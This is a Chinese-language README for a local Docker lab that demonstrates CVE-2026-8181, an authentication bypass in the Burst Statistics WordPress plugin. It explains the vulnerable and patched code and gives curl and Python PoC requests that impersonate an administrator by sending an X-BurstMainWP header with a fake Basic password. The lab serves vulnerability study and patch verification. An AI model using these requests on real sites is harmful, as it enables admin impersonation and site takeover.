Docker 实验环境,演示 Burst Statistics WordPress 插件中 CVE-2026-8181 身份验证绕过漏洞。通过最小危害 PoC 对比存在漏洞版本与已修复版本,以说明 REST API 请求中的不当身份验证问题。
用于 CVE-2026-8181 的本地专用 Docker 实验室,该漏洞是 WordPress 插件 Burst Statistics – Privacy-Friendly WordPress Analytics 中的一个认证绕过漏洞。
本实验室将存在漏洞的插件版本与已修补版本进行对比,并使用最小危害 PoC 证明两者之间的差异,全程无需创建用户、上传文件或修改 WordPress 状态。
受影响插件: Burst Statistics – Privacy-Friendly WordPress Analytics
受影响版本: 3.4.0 至 3.4.1.1
已修补版本: 3.4.2
漏洞类型: 认证绕过 / 认证不当
影响: 未认证的攻击者只要知道有效的管理员用户名,即可在单个 REST API 请求期间冒充管理员。
在本实验室中:
vuln 运行 Burst Statistics 3.4.1.1patched 运行 Burst Statistics 3.4.2X-BurstMainWP: 1 一起发送伪造的 Basic Authentication 密码| 服务 | 描述 | URL |
|---|---|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL(用于易受攻击的 WordPress) | 仅内部 |
db_patched | MySQL(用于已修补的 WordPress) | 仅内部 |
seed | 一次性 WP-CLI 设置容器 | 仅内部 |
seed 服务会安装 WordPress、创建实验室管理员,并在两个环境中激活 Burst Statistics。
实验室管理员用户名:
labadmin
PoC 故意使用错误的密码来证明该绕过。
Burst Statistics 包含一条与 MainWP 相关的代理认证路径。当 REST API 请求包含以下标头时:
X-BurstMainWP: 1
Burst 会将认证委托给 MainWP_Proxy::is_mainwp_authenticated()。
在易受攻击的版本中,该函数会读取攻击者可控的 Basic Authentication 凭据,提取用户名和密码,并将其传递给 WordPress 核心:
$is_valid = wp_authenticate_application_password( null, $username, $password );
问题出在返回值检查上。
3.4.1.1以下为 includes/Frontend/class-mainwp-proxy.php 的简化版本:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
易受攻击的代码只会拒绝 WP_Error。然而,当认证实际上并未成功时,wp_authenticate_application_password() 可能返回 null 或其他非用户值。由于 null 不是 WP_Error,该检查便会通过。
之后,插件会查找所提供的用户名并调用:
wp_set_current_user( $user->ID );
这会让 WordPress 将当前 REST API 请求视为该用户的请求。如果该用户名属于管理员,那么在请求的剩余处理过程中,WordPress 的权限检查都会将其视为管理员。
已修补的版本通过在继续执行前要求获得真实的已认证用户对象,修复了认证检查。
3.4.2从概念上讲,修复方式如下:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
重要的变化在于,仅仅“无错误”的返回值不再足够。认证结果必须是实际的 \WP_User 对象。
这封堵了 null 绕过旧 is_wp_error() 检查的易受攻击路径。
本实验室使用以下方式演示只读证明:
/wp/v2/users/me?context=edit
该端点足以表明 WordPress 是否将请求视为已认证。
现实世界中的影响可能比本实验所证明的更为严重。如果攻击者能在 REST API 请求期间冒充管理员,就可能访问高权限的 WordPress 端点。在常见的 WordPress 配置中,管理员访问权限可通过创建账户、应用程序密码、安装插件、修改主题或其他管理操作,导致网站被长期接管。
本仓库有意避开这些破坏性路径。
docker compose up -d --build
等待一次性 seed 服务运行完成:
docker compose logs seed
预期 seed 输出:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
安装 Python 依赖项:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
对易受攻击的服务运行 PoC:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
易受攻击服务的预期结果:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
对已修补的服务运行相同的 PoC:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
已修补服务的预期结果:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
生成伪造的 Basic Authentication 令牌:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
不带绕过标头的基线请求:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
预期结果:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
绕过尝试:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
预期结果:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
对已修补的服务运行相同的绕过尝试:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
预期结果:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
易受攻击的服务清晰地显示了行为变化:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
已修补的服务会同时拒绝未认证的请求和绕过尝试:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
此 PoC 有意采用最小危害设计:
请仅在您自己的本地 Docker 环境中使用本实验室。